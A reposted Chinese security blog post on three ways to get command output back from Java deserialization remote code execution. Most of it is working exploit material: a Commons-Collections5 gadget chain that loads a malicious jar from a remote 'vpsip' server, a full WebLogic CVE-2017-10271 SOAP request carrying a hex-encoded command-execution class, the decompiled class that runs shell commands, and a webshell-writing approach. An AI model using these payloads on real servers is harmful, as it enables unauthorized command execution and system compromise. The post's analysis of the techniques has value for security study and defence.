转载

java反序列化RCE回显研究

总结一下常见反序列化RCE回显几种方式如下:

  1. a).使用java.net.URLClassLoader类,远程加载自定义类(放在自己服务器上的jar包),可以自定义方法执行。
    b).在自定义类中,抛出异常,取得回显结果。
    eg:Jboss报错返回命令执行结果。
  2. 利用defineClass加载byte[]返回Class对象,不用远程加载恶意类。
  3. 直接利用RCE将执行的命令写入服务器文件中,再次访问得到执行命令结果。

1、URLClassLoader加载远程恶意类,抛出异常回显

恶意类如下:

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.Socket;

public class R
{
    public R(String commond) throws Exception {
        reverseConn(commond);
    }

    public void reverseConn(String commond) throws Exception {

            //执行命令
            Process proc = Runtime.getRuntime().exec(commond);
            BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
            StringBuffer sb = new StringBuffer();
            String line;
            while ((line = br.readLine()) != null)
            {
                sb.append(line).append("/n");
            }
            String result = sb.toString();
            Exception e=new Exception(result);
            throw e;
    }
}

将恶意类打成jar包,把jar包放在服务器上。

javac R.java //先编译成class文件
jar -cvf R.jar R.class //打成jar包

采用Commons-Collections5 gadgets触发反序列化报错回显,运行如下代码:

package test;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
public class Test{
    public InvocationHandler getObject(final String command) throws Exception {
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[] { new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(java.net.URLClassLoader.class),
                // getConstructor class.class classname
                new InvokerTransformer("getConstructor",
                        new Class[] { Class[].class },
                        new Object[] { new Class[] { java.net.URL[].class } }),

                new InvokerTransformer(
                        "newInstance",
                        new Class[] { Object[].class },
                        new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(
                                "http://vpsip/R.jar") } } }),
                // loadClass String.class R
                new InvokerTransformer("loadClass",
                        new Class[] { String.class }, new Object[] { "R" }),
                // set the target reverse ip and port
                new InvokerTransformer("getConstructor",
                        new Class[] { Class[].class },
                        new Object[] { new Class[] { String.class } }),
                // invoke
                new InvokerTransformer("newInstance",
                        new Class[] { Object[].class },
                        new Object[] { new String[] { command } }),
                new ConstantTransformer(1) };
        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        //this will generate a AnnotationInvocationHandler(Override.class,lazymap) invocationhandler
        InvocationHandler invo = (InvocationHandler) getFirstCtor(
                "sun.reflect.annotation.AnnotationInvocationHandler")
                .newInstance(Retention.class, lazyMap);
        //generate object which implements specifiy interface
        final Map mapProxy = Map.class.cast(Proxy.newProxyInstance(this
                .getClass().getClassLoader(), new Class[] { Map.class }, invo));

        final InvocationHandler handler = (InvocationHandler) getFirstCtor(
                "sun.reflect.annotation.AnnotationInvocationHandler")
                .newInstance(Retention.class, mapProxy);
        setFieldValue(transformerChain, "iTransformers", transformers);
        return handler;
    }
    public static Constructor<?> getFirstCtor(final String name)
            throws Exception {
        final Constructor<?> ctor = Class.forName(name)
                .getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        return ctor;
    }
    public static Field getField(final Class<?> clazz, final String fieldName)
            throws Exception {
        Field field = clazz.getDeclaredField(fieldName);
        if (field == null && clazz.getSuperclass() != null) {
            field = getField(clazz.getSuperclass(), fieldName);
        }
        field.setAccessible(true);
        return field;
    }
    public static void setFieldValue(final Object obj, final String fieldName,
                                     final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
    public static void main(final String[] args) throws Exception {
        final Object objBefore = Test.class.newInstance()
                .getObject("ipconfig");
        //deserialize(serialize(objBefore));

        File f = new File("E://payloadsfinal.bin");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(objBefore);
        out.flush();
        out.close();

        FileInputStream fis = new FileInputStream("E://payloadsfinal.bin");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //恢复对象
        ois.readObject();
        ois.close();
    }
}

命令回显效果如下,jboss命令回显就是这个原理:

java反序列化RCE回显研究

2、 defineClass加载byte[]返回Class对象,利用容器内部response回显

研究weblogicCVE-2017-10271回显时,从 这里 找到回显的poc,接下来看看这个POC如何构造的

详细POC如下:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 5126

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java>
                <void class="weblogic.utils.Hex" method="fromHexString" id="cls">
                    <string>0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b60006990005033dbb000759b700083a042b1209b6000a99001319042b07b6000bb9000c020057a700441c9900231904120db9000c0200571904120eb9000c02005719042bb9000c020057a700201904120fb9000c02005719041210b9000c02005719042bb9000c020057bb0011591904b700123a05190504b60013571905b600143a061906b60015b000000004001b0000004a001200000012000200130008001400180015001a00180023001a002c001b003c001c0040001d004a001e0054001f00600021006a002200740023007d002600880027008f002800960029001c0000004800070000009c001d001e00000000009c0021002200010002009a00230024000200080094002500220003002300790026002700040088001400280029000500960006002a002b0006002c0000000c0001002300790026002d0004002e000000110004fd001a0107002ffc0021070030231c0031000000040001003200010033000000020034</string>
                </void>
                <void class="org.mozilla.classfile.DefiningClassLoader">
                    <void method="defineClass">
                        <string>com.supeream.exploits.XmlExp</string>
                        <object idref="cls"></object>
                        <void method="newInstance">
                            <void method="say" id="proc">
                                <string>dir</string>
                            </void>
                        </void>
                    </void>
                </void>
                <void class="java.lang.Thread" method="currentThread">
                    <void method="getCurrentWork">
                        <void method="getResponse">
                            <void method="getServletOutputStream">
                                <void method="writeStream">
                                    <object idref="proc"></object>
                                </void>
                                <void method="flush"/>
                            </void>
                            <void method="getWriter"><void method="write"><string></string></void></void>
                        </void>
                    </void>
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

defineClass去加载com.supeream.exploits.XmlExp恶意类,恶意类代码已经Hex编码了。还原一下XmlExp代码,先对恶意类代码解码->bytes[]->写入1.class.再用idea/jd-gui反编译。

package weblogic;

import org.mozilla.classfile.DefiningClassLoader;
import weblogic.jdbc.wrapper.Array;

import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Arrays;

import static weblogic.utils.Hex.hexValueOf;

public class hh {
    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, IOException {
        System.out.println("hahah");
        byte[] bt = fromHexString2("0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b60006990005033dbb000759b700083a042b1209b6000a99001319042b07b6000bb9000c020057a700441c9900231904120db9000c0200571904120eb9000c02005719042bb9000c020057a700201904120fb9000c02005719041210b9000c02005719042bb9000c020057bb0011591904b700123a05190504b60013571905b600143a061906b60015b000000004001b0000004a001200000012000200130008001400180015001a00180023001a002c001b003c001c0040001d004a001e0054001f00600021006a002200740023007d002600880027008f002800960029001c0000004800070000009c001d001e00000000009c0021002200010002009a00230024000200080094002500220003002300790026002700040088001400280029000500960006002a002b0006002c0000000c0001002300790026002d0004002e000000110004fd001a0107002ffc0021070030231c0031000000040001003200010033000000020034");
        File file = new File("1.class");
        FileOutputStream fos = new FileOutputStream(file);
        fos.write(bt);
        fos.close();
        //        System.out.println(Arrays.toString(bt));  byte
//        DefiningClassLoader cls = new DefiningClassLoader();
//        Class cl =cls.defineClass("com.supeream.exploits.XmlExp",bt);
//        System.out.println(cl);
//        System.out.println(cl.getMethods());//
//        Method m = cl.getMethod("say",String.class);
//        Object dir = m.invoke(cl.newInstance(), "calc");
    }
    public static byte[] fromHexString1(byte[] barray, int len) {
        int i = 0;
        if (barray[0] == 48 && (barray[1] == 120 || barray[1] == 88)) {
            i += 2;
            len -= 2;
        }

        int outlen = len / 2;
        byte[] out = new byte[outlen];

        for(int j = 0; j < outlen; ++j) {
            out[j] = (byte)(hexValueOf(barray[i++]) << 4 | hexValueOf(barray[i++]));
        }

        return out;
    }
    public static byte[] fromHexString2(String hexString) {
        byte[] bytes;
        try {
            bytes = hexString.getBytes("US-ASCII");
        } catch (UnsupportedEncodingException var4) {
            bytes = new byte[hexString.length()];

            for(int i = 0; i < bytes.length; ++i) {
                bytes[i] = (byte)hexString.charAt(i);
            }
        }
        System.out.println(bytes);
        return fromHexString1(bytes, bytes.length);
    }

}

拿到XmlExp类代码如下:

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package com.supeream.exploits;

import java.io.InputStream;
import java.util.ArrayList;
import java.util.List;

public class XmlExp {
    public XmlExp() {
    }
    public InputStream say(String cmd) throws Exception {
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        List<String> cmds = new ArrayList();
        if (cmd.startsWith("$NO$")) {
            cmds.add(cmd.substring(4));
        } else if (isLinux) {
            cmds.add("/bin/bash");
            cmds.add("-c");
            cmds.add(cmd);
        } else {
            cmds.add("cmd.exe");
            cmds.add("/c");
            cmds.add(cmd);
        }
        ProcessBuilder processBuilder = new ProcessBuilder(cmds);
        processBuilder.redirectErrorStream(true);
        Process proc = processBuilder.start();
        return proc.getInputStream();
    }
}

开始以为回显的原因是报错回显的,实际上不是,而是用到weblogic内部回显类进行回显,这也算是个骚思路了,这点是get到了。

分析下POC构造过程:

传入恶意类hex编码id设置为cls交给weblogic.utils.Hex.fromHexString类转换为byte[]----->org.mozilla.classfile.DefiningClassLoader类的defineClass方法传入com.supeream.exploits.XmlExp恶意类,通过newInstance方法实例化恶意类并调用say方法,传入dir命令id设置为proc交给weblogic内部回显类回显。实际对应代码如下操作。

DefiningClassLoader cls = new DefiningClassLoader();
Class cl =cls.defineClass("com.supeream.exploits.XmlExp",bt);
Method m = cl.getMethod("say",String.class);
Object dir = m.invoke(cl.newInstance(), "calc");

最后将回显结果交给weblogic容器的response回显,这块poc构造可以跟踪下正常处理回显是什么样的来构造。

在com.sun.beans.ObjectHandler下断,idref这里跟进lookup

java反序列化RCE回显研究

idref对应id是proc

java反序列化RCE回显研究

加载恶意方法的地方,执行了dir命令,剩下就是拼接返回包,这里就不跟了

java反序列化RCE回显研究

最后实现效果如下:

java反序列化RCE回显研究

3、执行的命令写入可访问的服务器文件

这里就看一下weblogic CVE-2017-10271 ,实际已经可以向服务器写文件,干脆直接写个执行命令webshell更方便。

java反序列化RCE回显研究

通过webshell执行命令

java反序列化RCE回显研究

还有什么好的回显思路,欢迎各位师傅补充。

原文  https://xz.aliyun.com/t/5257
正文到此结束
Loading...